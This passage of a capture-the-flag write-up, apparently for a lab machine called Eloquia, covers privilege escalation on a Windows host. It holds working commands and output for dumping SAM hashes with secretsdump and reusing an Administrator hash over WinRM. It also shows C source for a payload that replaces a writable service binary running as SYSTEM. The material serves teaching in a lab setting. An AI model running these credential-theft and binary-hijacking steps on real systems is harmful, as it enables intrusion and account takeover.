⠄⠀⠨⡝⡭⠇⠀⠀⡯⣝⣹⠀⠀⢼⢭⢻⡅⠀⠀⡯⡝⡇⠀⠤⣿⡿⣿⡽⣶⣤⣈⣙⠛⡛⢛⡛⡛⣉⠉⣿⣿⣟⣿⣿⣿⣷⣿⣿⣷⣿⣿⣿⡇⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⡟⠿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡙⣿⣿⣿⠝⣸⣿⣿⣟⣿⠟⠋⢁⣠⣴⣾⣿⣿⢻⢿⣿⣿⡿⢻⡝⣿⡿⣿⠡⠆⢸⢯⠻⡅⠀⠀⡯⣝⣹⠀⠀⢼⢫⢽⠄⠀⠀⣏⡝⡂⠀
⡦⠴⡄⠉⠈⢡⢴⡰⠋⠈⢹⣆⠲⡞⠉⠉⡦⣐⠶⠉⠉⢱⣒⢶⡋⢛⠛⣷⣷⣿⢿⡿⣿⣿⣿⣿⣿⣿⣆⠘⢿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣷⡘⣿⣿⣿⣿⣿⣿⢿⡿⠻⠟⣿⡻⡛⠉⠉⣠⣶⣄⣉⣉⡉⠻⢿⣿⣿⣿⡇⣿⣿⡟⢲⣈⠻⡿⠛⢁⣤⣾⣿⣿⡟⢛⠛⣷⣚⢾⠉⠉⢳⢳⣲⠋⠉⠙⡖⡶⢌⠉⠉⢠⣔⢢⠋⠈⢹⢆⡲⡞⠉⠉⣆⠦⣄⠈⠈⢡⠤
⠏⠳⠅⣀⣀⡸⠮⠱⣁⣀⣸⠮⠷⢏⣀⣀⡷⠩⠞⣀⣀⡸⠼⠶⢁⣈⣌⠿⠽⢿⣌⣳⡿⠿⠿⣧⣻⣼⠿⣷⡄⠙⣿⣿⣿⣾⣿⣿⣟⣿⣿⣽⣿⠇⣉⣹⢟⣻⣍⣤⡤⠶⣟⣻⠙⢙⢀⣴⣤⣤⡌⠙⠻⣌⠉⠃⣈⣻⣿⣿⣷⣿⠟⢁⣿⢿⡶⢶⠿⣟⣋⣹⠷⠬⢧⣀⣀⡧⠽⠞⣀⣀⡸⠣⠎⢁⣀⣀⠿⠬⢏⣀⣀⡸⠬⠹⣀⣀⣸⠧⠷⢇⣀⣀⡏⠞⠤⣀⣀⠨⠓
⠀⠀⠘⣦⢣⠇⠀⠀⣗⠮⣼⠀⠀⢸⣲⢹⠂⠀⠀⡗⣬⡇⠀⠀⢻⡸⢼⠀⠀⠸⣞⣣⡇⠁⠁⣿⠟⠋⠉⠉⢠⣴⣾⣿⣿⣟⣯⣿⣿⣿⣿⠿⠁⣾⣿⡟⠠⣾⣏⡇⠀⠀⣯⢷⢐⠻⢿⣿⣿⣿⣿⣷⣆⣠⣰⣶⣿⣿⡿⠋⢉⡤⠶⢾⣛⣦⡇⠀⠀⣟⣲⣿⠀⠀⢺⣱⢺⡄⠀⢘⣧⡚⡇⠀⠀⢚⢶⣹⠀⠀⠸⣖⡱⠇⠀⠀⣗⡎⣾⠀⠀⢺⣲⢹⠀⠀⠀⡗⣬⠃⠀
⣟⡱⣃⠀⠀⢰⡹⣜⠀⠀⢰⡏⡵⣇⠀⠀⡎⢧⡓⠀⠀⢸⡜⣣⡇⠀⠀⡮⡝⣵⠀⠀⠹⢯⣿⡇⠀⢸⣿⣿⣿⣿⣿⣟⣯⣿⣿⠿⠟⠋⣁⣤⣾⣿⠿⠁⣰⡏⠀⢹⣫⢽⡇⠈⢹⡶⣄⡙⠛⠻⢿⣿⣿⣿⣿⡿⠟⢉⣠⠖⠋⡟⣬⣿⠀⠀⢹⠯⣽⡃⠀⠰⣎⠵⡃⠀⠀⣏⢞⣼⠀⠀⢸⡸⣕⠂⠀⠀⡯⣜⢣⠀⠀⢸⠼⣱⠀⠀⢰⡏⡜⡇⠀⠀⡍⢧⣃⠀⠀⢘⡖
⠃⠉⢠⠴⡤⡌⠒⠉⡦⢴⣸⠃⠓⢣⡤⢦⠉⠂⠙⡤⢆⡞⠁⠃⣧⠤⣶⡛⠛⠛⠀⣀⣠⣤⡄⠁⣸⣿⣿⣿⡿⢟⣫⣿⣷⣿⣿⢿⣿⠿⣿⠿⠋⢀⣠⡶⢿⡇⠶⡞⠓⠚⡷⢤⢺⠓⠛⢻⡝⣻⠶⣄⣈⣩⣅⣠⠖⠋⣷⡰⢶⠛⠒⢻⡆⡖⡞⠛⠒⡧⢤⡜⠈⠑⢣⠴⣰⠏⠚⢸⡤⢤⡎⠐⠉⣢⢴⣰⠓⠈⢻⠤⡔⡎⠁⠉⡦⡔⣼⠃⠛⢳⢤⢢⠉⠂⠁⡤⢦⠌⠈
⣀⣀⡠⠋⠖⢁⣀⣀⠝⠦⢽⡀⣀⡼⠕⠫⡅⣀⢠⠏⠧⢇⣀⣀⡿⠵⢽⡇⠀⣤⡿⣿⣿⠟⣡⣾⣿⣿⣿⣟⣵⣿⣿⠟⠉⣀⣤⣼⣾⣿⣤⣶⡾⢿⡏⣀⣸⠭⠯⣇⣀⣀⠿⠬⢿⣀⣀⡼⠮⠽⣇⣀⣸⠯⠭⢷⣀⣄⡿⠼⠽⣃⣀⡸⠧⠹⢇⣀⣀⠟⠦⠝⣀⣀⡸⠹⠼⣃⣀⢨⠗⠣⢇⣀⣀⡼⠦⠽⣀⣀⡸⠏⠼⢃⣀⣀⠷⠩⢾⡀⣀⡼⠇⠻⡄⣀⡀⠛⠜⢂⡀
⣏⠲⡅⠀⠀⢸⡜⣼⠀⠀⢰⣏⣖⡇⠀⠀⡟⣬⠳⠀⠀⢸⣜⣲⠇⠀⢀⡗⠸⣿⣿⡗⢠⣾⣿⣿⣿⣿⠟⠛⠛⠉⣁⣠⣼⣿⡟⢯⢹⣟⣿⡇⠐⠀⣟⣴⣻⠀⠀⢸⡲⢭⠂⠀⢸⣆⢧⡇⠀⠀⡷⣌⢿⠀⠀⢸⣣⣞⡇⠀⠀⣧⢇⡗⠀⠀⢼⣲⣹⠆⠀⢸⣃⠮⡅⠀⠀⣷⣌⣻⠀⠀⢸⣲⠱⠆⠀⠀⣗⣎⡽⠀⠀⢸⢦⣹⠀⠀⢸⣕⣣⡇⠀⠀⡟⡴⣃⠀⠀⢨⡓
⡀⠀⠰⣙⢎⡇⠀⠀⣯⢭⣹⠀⠀⢹⣭⢹⡇⠀⠠⣏⡭⡏⠀⠀⣿⣘⢿⡅⠀⠿⣿⠷⠘⠿⠿⠿⠿⠃⠀⣼⣿⣿⣿⡟⣯⢹⡟⣯⡏⠀⠀⣿⢭⢻⡁⠀⢸⡏⡽⡇⠀⠀⣯⢱⢻⠀⠀⢼⣩⢽⡁⠀⢨⡗⡭⣏⠀⠀⣿⢩⣽⠀⠀⢸⠭⣍⡇⠀⠀⣯⡜⣳⠀⠀⣸⢭⣹⠇⠀⢸⡏⣭⡏⠀⠀⣻⢌⣻⠁⠀⢸⣇⠯⡇⠀⠀⡯⣍⢿⠀⠀⣹⢭⣹⡅⠀⠀⢧⡛⡄⠀
⡴⢤⡔⠉⠈⢢⠴⣠⠑⠈⢸⠦⡔⡞⠈⠉⣤⠰⣄⠃⠁⢳⠤⢦⡍⠈⠛⣴⣿⣶⢶⣦⣤⣶⣿⣶⣶⣶⣿⣿⣿⣟⡻⣟⠶⣬⠉⠐⢡⠴⣠⡜⠉⠙⡦⠴⣼⠉⠘⢡⠦⣤⠈⠁⢫⡤⢆⡜⠁⠊⡤⡔⡤⠋⠁⢳⠤⣆⡟⠁⠚⣄⠦⡄⠋⠈⢣⠴⣤⠃⠘⠡⣄⢦⡘⠈⠘⡦⢴⣰⠋⠐⢡⠴⣤⠘⠈⠙⡤⢆⣼⠈⠑⢡⠴⣠⠙⠈⢺⠤⣆⡞⠁⠊⡤⡤⡄⠃⠉⢠⠤
⠟⠦⢃⣀⣀⡸⠹⠼⣂⣀⣸⠧⠽⢇⣀⣀⠧⠻⠜⣀⣀⣸⠯⠧⣇⣀⣰⠿⠽⣿⣏⣿⣿⣿⣿⣿⣟⣿⠿⠿⢿⣀⣁⡯⠽⠼⣀⣀⡸⠭⠳⢇⣀⣀⠿⠵⢿⣀⣀⡸⠹⠼⣀⣀⣸⠧⠯⢇⣀⣀⠧⠽⠼⣀⣀⣸⠯⠼⣇⣀⣀⠏⠷⠝⣀⣀⡼⠯⠶⣃⣀⡰⠭⠖⢇⣀⣀⡿⠵⠾⣀⣀⡸⠝⠲⢃⣀⣀⠯⠷⢞⣀⣀⡸⠹⠼⣀⣀⣸⠷⠬⢇⣀⣀⠷⠱⠍⣀⣀⠨⠏
⠂⠀⠐⡜⢦⠇⠀⠀⣗⢮⣼⠀⠀⢸⣓⢾⡁⠀⠀⣗⣎⡇⠀⠀⢿⡸⣽⠀⠏⢼⡿⣿⡟⡼⢓⣿⣟⡿⠈⠅⢺⣙⢾⡁⠀⠸⣗⡎⡇⠀⠀⣻⢴⣹⠄⠀⢸⡖⣎⡇⠀⠀⢶⣱⢺⠀⠀⢼⣲⢹⠄⠀⠐⣗⣎⡧⠀⠀⣿⣰⢻⠀⠀⠘⣦⢣⡇⠀⠀⣷⢪⡵⠀⠀⢸⣖⣹⠆⠀⢘⡷⣘⡇⠀⠀⢹⣲⣹⠀⠀⢸⣇⣎⡇⠀⠀⣷⣊⣾⠀⠀⢺⣱⢺⠂⠀⠀⢧⢎⡅⠀
⣗⡚⡆⠈⠀⢸⠼⣸⠁⠀⢸⢧⡙⣏⠀⠀⡗⡼⡱⠀⠀⢹⢲⡝⡆⠀⠀⡟⣯⠗⠨⠡⢹⡻⢯⡄⠈⢨⡟⡜⡆⠀⠀⡗⢮⣱⠀⠀⢹⡜⡲⡍⠀⠈⣗⣎⣻⠀⠀⢸⢼⡸⠀⠀⢘⡦⢏⡆⠀⠈⣖⢣⢏⠁⠀⢹⣲⣙⡇⠀⠀⣧⠳⡍⠀⠀⢹⢲⡹⡄⠀⢸⢆⡏⡍⠀⠈⡗⢮⣹⠀⠀⢸⡜⢮⡁⠀⠈⡗⡞⣼⠀⠀⢰⢮⣱⠁⠀⢸⡖⡭⡏⠀⠀⣗⡣⠖⠀⠀⢰⡒
⠇⠹⠆⣀⣀⡸⠷⠹⣀⣀⣈⠷⠿⢇⣀⣀⡿⠶⠇⣀⣀⡸⠷⠾⢁⣀⣀⠿⠶⠏⣀⣁⡸⠷⠿⣀⣀⣰⠇⠷⢆⣀⣀⡿⠶⠿⣀⣀⡸⠸⠷⢁⣀⣀⠷⠾⢏⣀⣀⡾⠶⠹⢀⣀⣸⠷⠿⢇⣀⣀⠏⠾⠎⣀⣀⡸⠶⠿⢇⣀⣀⠷⠿⠆⣀⣀⡸⠷⠿⣀⣀⢸⠎⠾⢁⣀⣀⡿⠷⠿⣀⣀⡸⠾⠷⢀⣀⣀⠿⠾⢇⣀⣀⡸⠶⠷⣀⣀⣸⠷⠷⢇⣀⣀⠷⠉⠇⣀⣀⠰⠉
⠀⠀⠘⣦⢣⡃⠀⠀⣷⡸⣼⠀⠀⢸⣲⡹⠂⠀⠀⡷⣌⡇⠀⠀⢿⣢⢻⠀⠀⠨⣳⣌⡇⠀⠀⣗⢦⡛⠀⠀⢸⣰⢺⠄⠀⠰⡗⡦⡇⠀⠀⢻⡴⣹⠀⠀⢸⣇⡞⡇⠀⠀⢳⡜⡼⠀⠀⢸⡲⣜⠂⠀⠈⣗⣎⡇⠀⠀⣿⢢⣻⠀⠀⠠⣓⣎⡇⠀⠀⡗⣎⠏⠀⠀⢸⣲⣹⠂⠀⠘⣧⣚⡇⠀⠀⢸⢦⣹⠀⠀⢸⡖⣎⠇⠀⠀⣷⣘⢾⠀⠀⢺⣲⣹⠂⠀⠀⠷⣌⡃⠀
⣏⢳⡃⠀⠀⢰⢭⢲⠀⠀⢰⡏⡼⡇⠀⠀⡣⣝⠲⠀⠀⢸⡜⣣⡇⠀⠀⣎⢧⣃⠀⠀⢸⣱⢹⡆⠀⠀⣏⠞⡄⠀⠀⣧⢹⢲⠀⠀⢰⡹⣜⠄⠀⠀⣏⢧⢻⠀⠀⢰⡹⢲⠀⠀⠰⣍⡎⡇⠀⠀⡎⡵⢣⠀⠀⢸⣹⠲⡇⠀⠀⡎⢧⡃⠀⠀⢸⢥⣛⡀⠀⢈⡎⢧⡃⠀⠀⣏⢧⢻⠀⠀⢰⠹⣜⡀⠀⠀⡧⢏⣖⠀⠀⢸⠼⣱⠀⠀⢸⡣⢭⡇⠀⠀⡎⡵⣊⠀⠀⢰⢣
⠉⠒⠡⣤⠤⡜⠈⠙⡤⢤⢴⠛⠒⢳⠤⣤⠓⠈⠙⡤⡤⡞⠘⠁⣧⠤⣤⠃⠊⢡⡤⢤⡞⠃⠛⡦⢤⠴⠉⠊⢡⢤⢤⡓⠉⢚⡤⡤⡜⠐⠉⣢⢤⢴⠛⠚⢻⠤⡤⡎⠘⠑⠦⡤⢼⠃⠚⢡⡤⢤⠃⠉⠓⡤⡤⡞⠃⠛⣧⠤⣤⠉⠃⠓⡤⡤⡞⠒⠑⡧⢤⠤⠙⠂⢣⠤⣴⡛⠊⢛⡤⡤⡌⠙⠐⣡⢤⢴⠛⠊⢺⠤⡤⡎⠘⠑⡦⢤⢼⠓⠓⢣⡤⢤⠃⠑⠁⡤⡤⠌⠃
⣁⣀⠰⠌⠳⢁⣀⢀⡏⠳⢾⡀⣀⡼⠽⠸⣁⣀⢠⠷⠱⢇⣀⡀⡿⠜⠼⡀⣀⢨⠗⠣⣇⣀⣀⠿⠬⢻⢀⡀⡸⠎⠾⣁⣀⢨⠷⠱⢇⢀⡀⡽⠪⠾⣀⣀⣸⠧⠳⢇⢀⡀⠿⠸⢽⢀⡀⡹⠼⠹⣀⣀⣈⠷⠱⢏⣀⡀⡿⠼⠼⣀⡀⡸⠇⠷⢇⣀⣀⠿⠌⢏⡀⣀⡸⠽⠸⡅⣀⢨⠷⠱⢇⣀⡀⡼⠎⠾⣀⣀⠸⠏⠶⢃⣀⢀⠟⠜⢾⡀⣀⡹⠼⠹⡄⣀⢀⠳⠙⢆⢀
⣳⢌⡇⠀⠀⢸⡜⣣⠄⠀⢰⣏⡖⡇⠀⠀⡷⣌⢳⠀⠀⢸⡲⣍⡇⠀⠀⡷⣩⠶⠀⠀⢸⣖⣼⠃⠀⢨⢧⡙⡅⠀⠀⡷⣌⣻⠀⠀⢸⢎⡵⡃⠀⠀⣷⣊⣾⠀⠀⢸⡣⢽⠀⠀⢰⡧⣙⡇⠀⠀⡗⢦⣹⠀⠀⢸⣖⣹⡇⠀⠀⣧⠳⡵⠀⠀⢼⡲⣜⠆⠀⢸⡱⣃⡇⠀⠀⣟⣲⣻⠀⠀⢸⡲⡹⡄⠀⠀⣗⣎⣻⠀⠀⢸⡜⣺⠀⠀⢸⣕⣎⡇⠀⠀⡷⣩⠖⠀⠀⢘⡎
⡀⠀⠰⣩⠖⡇⠀⠀⣟⡬⣹⠀⠉⢹⣣⢽⡃⠀⠠⣇⡏⡏⠀⠀⣿⣰⢻⠁⠀⢸⢧⣙⡏⠀⠈⣟⡬⣽⠀⠀⢸⣱⣹⠇⠀⢨⡗⣜⡏⠀⠀⣽⣌⢻⠁⠈⢸⡧⣹⡇⠀⠀⣏⢮⣹⠀⠁⣸⢣⣽⡁⠀⢠⡗⡭⣏⠀⠁⣿⠬⣽⠀⠀⢰⡏⡜⡏⠀⠈⣗⡎⢷⠀⠀⣸⢥⢻⠇⠀⢩⡧⢭⡏⠀⠀⣾⢡⣻⠁⠀⢸⡖⡭⡇⠀⠀⣟⡬⢻⠀⠈⣹⢎⣽⡅⠀⠀⣗⠺⡄⠀
⣤⢤⡔⠁⠋⢠⠴⣠⠃⠘⠹⡤⢤⡞⠁⠚⡤⢤⠤⠃⠊⢳⠤⣆⡝⠀⠋⡤⡤⡌⠃⠈⢳⠤⣴⡋⠐⢉⡤⢤⡜⠀⠉⡦⢴⣠⠋⠐⢡⢤⢢⡘⠈⠙⡦⡔⣼⠃⠁⢣⢤⢤⠉⠂⠹⡤⢤⡜⠁⠊⡤⡔⡤⠋⠐⢳⠤⡤⡟⠈⠙⣄⠦⣄⠙⠈⢣⠴⣠⠋⠘⠡⣄⢦⡘⠈⠙⡦⢴⣰⠋⠁⢣⢤⠤⡌⠑⠘⡦⢤⣜⠁⠉⢡⠴⣠⠃⠘⢹⡤⢆⡜⠃⠘⡤⢤⠤⠉⠓⢠⠤
⠗⠎⠆⣀⣀⡸⠹⠼⣂⣀⣸⠧⠯⢇⣀⣀⠷⠩⠞⣀⣀⡸⠷⠬⣇⣀⣀⠗⠧⠟⣀⣀⡼⠯⠶⣃⣀⣈⠗⠧⢆⣀⣀⡿⠦⠽⣀⣀⡸⠎⠳⢇⣀⣀⠷⠽⢾⣀⣀⡸⠺⠼⣀⣀⣸⠧⠧⢇⣀⣀⠧⠽⠼⣀⣀⣸⠭⠷⣇⣀⣀⠏⠧⢇⣀⣀⡼⠯⠵⣃⣀⡰⠍⠶⢇⣀⣀⡿⠦⠿⣀⣀⡸⠮⠽⢂⣀⣀⠯⠷⢼⣀⣀⡸⠹⠼⣀⣀⣸⠧⠯⢇⣀⣀⠟⠬⠃⣀⣀⠨⠓
⠂⠀⠘⢦⢣⠇⠀⠀⣷⡸⣼⠀⠀⢸⡳⣼⠃⠀⠀⣗⣎⡇⠀⠀⣿⣰⢺⠀⠀⢸⣇⣎⡇⠀⠀⣷⣊⢾⠀⠀⢸⢢⣽⠂⠀⢘⡧⡖⡇⠀⠀⣻⢴⣹⠄⠀⢸⡖⣎⡇⠀⠀⢧⣚⣼⠀⠀⢺⣲⢹⠄⠀⠐⣗⣎⡧⠀⠀⣿⡰⣻⠀⠀⠐⡧⣎⡇⠀⠀⣷⢪⡼⠀⠀⢸⣲⣹⠆⠀⢘⣧⣚⡇⠀⠀⢺⣔⣻⠀⠀⢸⡖⣥⡇⠀⠀⣷⣊⢾⠀⠀⢺⣱⢺⠁⠀⠀⠷⣌⡃⠀
⣗⢲⡃⠀⠁⢰⢺⢴⠁⠀⢸⡇⡞⣏⠀⠀⡷⣘⠞⠀⠀⢹⣒⠧⡇⠀⠈⡖⣧⡚⠀⠀⢹⣎⠽⡅⠀⢘⡦⡓⠎⠀⠀⣗⠺⣼⠁⠀⢹⢢⠳⡍⠀⠈⣗⣎⣻⠀⠀⢱⠺⣜⠀⠀⢘⡦⡝⡎⠀⠈⡶⣡⢛⠁⠀⢹⣲⣙⡇⠀⠀⡧⣇⠏⠀⠀⢹⢲⡱⡅⠀⢸⠦⣍⠏⠀⠈⡷⣘⢾⠁⠀⢸⢲⢣⠃⠀⠈⡗⣎⢾⠀⠀⢰⢺⡜⠁⠀⢸⡇⡞⡏⠀⠈⣗⠲⡆⠁⠀⢰⡒
⠊⠓⢂⠤⡤⡜⠓⠚⡤⢤⢬⠓⠛⢣⠤⣤⠗⠉⠚⡤⢤⡜⠚⠓⣣⠤⢤⠛⠂⢋⡤⢤⡜⠚⠛⡤⢤⢼⠃⠙⢃⠤⣤⠟⠓⠚⡤⠤⡜⠉⠓⣡⠤⣤⠓⠚⢫⠤⡤⡜⠓⠚⢠⠤⣬⠓⠚⢣⠤⢤⠓⠃⠋⡤⢤⡜⠒⠛⣣⠤⣤⠓⠊⢃⡤⢤⡜⠓⠛⡤⠤⢬⠓⠊⢣⠤⣤⠗⠛⢚⡤⢤⡜⠃⠛⢠⠤⣤⠛⠚⢪⠤⢤⡜⠓⠘⡥⠤⣼⠓⠛⢣⠤⣤⠏⠓⠁⡤⢤⡐⠉
⣂⠀⡈⠷⠱⢁⢀⡀⠽⠎⠾⣀⢀⡸⠽⠬⢁⡀⡀⠗⠧⢇⢀⡀⡹⠎⠻⢀⡀⡈⠷⠣⢇⡀⣀⠿⠥⢋⢀⡀⠨⠳⠼⡀⣀⢈⠷⠋⠇⣀⢀⠹⠞⠼⣀⢀⢸⠯⠜⢃⡀⡀⠭⠞⠜⣀⢀⡸⠝⠮⢁⡀⡈⠷⠧⢇⡀⣀⡻⠼⠹⢀⡀⡀⠾⠥⠇⣀⢀⠯⠝⠍⣀⢀⠸⠳⠼⣁⢀⣈⠷⠍⠇⣀⢀⠸⠳⠼⡀⣀⠸⠝⠎⠇⣀⠀⠏⠷⠭⣀⢀⡺⠹⠼⢀⡀⠀⠟⠦⠅⡀
⣯⠽⡅⠀⠀⢘⡺⢜⠀⠀⠀⡗⢮⡅⠀⠀⢣⠳⣍⠀⠀⠸⢢⢏⡅⠀⠀⢧⡓⡇⠀⠀⠸⡜⡼⠀⠀⠀⢯⡜⡃⠀⠀⡱⢭⢺⠀⠀⠸⣜⠺⠄⠀⠀⢧⣋⢞⠀⠀⢸⢸⡱⠀⠀⠀⣧⢣⠇⠀⠀⢣⢞⡱⠀⠀⠸⣜⠲⡇⠀⠀⡇⢷⡡⠀⠀⠸⡜⢮⠀⠀⠀⡗⣎⠃⠀⠀⢇⡞⡼⠀⠀⠸⡜⢮⠁⠀⠀⡗⣬⢫⠀⠀⠸⣜⡹⠀⠀⠠⣓⠮⡅⠀⠀⢣⡝⡍⠀⠠⠸⡕

Then we got and download the SAM and SYSTEM hives:

PS C:\> dir


    Directory: C:\


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        10/8/2025   5:19 AM                inetpub                                                                
d-----        11/5/2022  12:03 PM                PerfLogs                                                               
d-r---       10/11/2025   4:07 AM                Program Files                                                          
d-----        10/8/2025   5:23 AM                Program Files (x86)                                                    
d-----       12/20/2025   3:56 AM                temp                                                                   
d-r---        4/20/2024  11:50 AM                Users                                                                  
d-----        10/8/2025   6:20 AM                Web                                                                    
d-----       11/28/2025  11:39 AM                Windows                                                                
-a----       12/20/2025   3:59 AM          65536 sam                                                                    
-a----       12/20/2025   3:58 AM       18382848 system

Let’s use Impacket secretsdump locally:

$ secretsdump.py -sam sam -system system LOCAL
Impacket v0.14.0.dev0+20251204.163933.2347bd3f - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x9efaf9403ce3a1c0b3e8364b0d849974
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e63413bab01a0b8820983496c0be3a9a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:257cca897df1116e7b641468d7164200:::
web:1000:aad3b435b51404eeaad3b435b51404ee:aa04ab562321912f63f2488d22756953:::
Olivia.KAT:1001:aad3b435b51404eeaad3b435b51404ee:2cbfd71fcc7181dade35b694169b2256:::
[*] Cleaning up... 

Then we can grab the system flag via WinRM:

$ nxc winrm eloquia.htb -u Administrator -H 'e63413bab01a0b8820983496c0be3a9a' -X 'type c:\users\administrator\desktop\root.txt' 
WINRM       10.10.xx.xx     5985   ELOQUIA          [*] Windows 10 / Server 2019 Build 17763 (name:ELOQUIA) (domain:Eloquia) 
WINRM       10.10.xx.xx     5985   ELOQUIA          [+] Eloquia\Administrator:e63413bab01a0b8820983496c0be3a9a (Pwn3d!)
WINRM       10.10.xx.xx     5985   ELOQUIA          [+] Executed command (shell type: powershell)
WINRM       10.10.xx.xx     5985   ELOQUIA          REDACTED

Way 2 - Binary Hijacking

Following the same enumeration than for Way 1, we found that Failure2Ban.exe is loacted to the folder C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\.

Check and confirm that we have a running process Failure2Ban:

PS C:\Users\Olivia.KAT> Get-Process -Name Failure2Ban

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                   
-------  ------    -----      -----     ------     --  -- -----------                                                   
    292      15    11120      14924              1436   0 Failure2Ban
PS C:\Users\Olivia.KAT> Get-Process -Name "Failure2Ban" | ForEach-Object { if ($_.SessionId -eq 0) { "⭕ SYSTEM (SessionId=0)" } else { "❌ NO SYSTEM (SessionId=$($_.Ses
sionId))" } }
⭕ SYSTEM (SessionId=0)

The process is running as SYSTEM.

Let’s check our permissions to these files:

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> icacls "Failure2Ban.exe.config"
Failure2Ban.exe.config ELOQUIA\Olivia.KAT:(I)(RX,W)
                       NT AUTHORITY\SYSTEM:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Users:(I)(RX)
                       APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                       APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> icacls "Failure2Ban.exe"
Failure2Ban.exe ELOQUIA\Olivia.KAT:(I)(RX,W)
                NT AUTHORITY\SYSTEM:(I)(F)
                BUILTIN\Administrators:(I)(F)
                BUILTIN\Users:(I)(RX)
                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

We have READ. WRITE and EXECUTE permissions.

We know that a scheduled cleanup task periodically restarts the Failure2Ban service.

During this short window when the service stops, we can:

  • Replace Failure2Ban.exe with our malicious payload
  • Service restarts, executing payload as SYSTEM

Create our malicious binary:

$ cat grab_rootflag.c
#include <windows.h>
#include <stdio.h>

int main(void) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // This example simply launches Notepad
    LPSTR cmdLine = "C:\\Windows\\System32\\cmd.exe /c copy C:\\Users\\Administrator\\Desktop\\root.txt C:\\Programdata\\root.txt";

    if (CreateProcess(
            "C:\\Windows\\System32\\cmd.exe", // application
            cmdLine,                                  // command line args
            NULL,                                  // process attributes
            NULL,                                  // thread attributes
            FALSE,                                 // inherit handles
            0,                                     // creation flags
            NULL,                                  // environment
            NULL,                                  // current directory
            &si,                                   // startup info
            &pi))                                   // process info
    {
        WaitForSingleObject(pi.hProcess, INFINITE);

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
        printf("CreateProcess failed. Error: %lu\n", GetLastError());
    }

    return 0;
}

Compile it:

$ x86_64-w64-mingw32-gcc grab_rootflag.c -o grab_rootflag.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

$ file grab_rootflag.exe 
grab_rootflag.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 9 sections

Upload it:

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> curl -o grab_rootflag.exe 10.10.xx.xx/grab_rootflag.
exe

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> dir


    Directory: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----       12/13/2025   4:09 PM                Logs                                                                   
-a----         5/1/2024   7:48 AM          13312 Failure2Ban.exe                                                        
-a----        4/30/2024   1:39 PM            283 Failure2Ban.exe.config                                                 
-a----        4/30/2024  12:55 AM          28160 Failure2Ban.pdb                                                        
-a----        4/30/2024  12:53 AM          22984 Failure2Ban.vshost.exe                                                 
-a----        4/25/2024  11:39 AM            273 Failure2Ban.vshost.exe.config                                          
-a----         5/6/2022  10:20 PM            490 Failure2Ban.vshost.exe.manifest                                        
-a----       12/13/2025  10:36 PM          41984 grab_rootflag.exe                                                      

Then launch our loop to hijack the binary:

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> while($true) { try { Copy-Item -Path "grab_rootflag.exe" -Destination "Failure2Ban.exe" -Force -ErrorAction Stop; break } catch {} }

After 10min we grab the root flag:

PS C:\programdata> dir


    Directory: C:\programdata


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d---s-       11/28/2025  10:23 AM                Microsoft                                                              
d-----         9/8/2025  12:04 AM                Package Cache                                                          
d-----       10/13/2025   1:38 PM                regid.1991-06.com.microsoft                                            
d-----        9/15/2018  12:19 AM                SoftwareDistribution                                                   
d-----        11/5/2022  12:03 PM                ssh                                                                    
d-----        9/15/2018  12:19 AM                USOPrivate                                                             
d-----        11/5/2022  12:03 PM                USOShared                                                              
d-----         9/8/2025  12:05 AM                VMware                                                                 
-a----       12/13/2025   4:09 PM             34 root.txt                                                               


PS C:\programdata> type root.txt
REDACTED

Extra

References

  • Way 2 - using Python was kindly shared by Ap4sh #FR
  • Way 2 - craft DLL using custom msfvenom shellcode was kindly shared by Ap4sh #FR
  • Way 2 - Binary Hijacking was kindly shared by VXXDXX #PL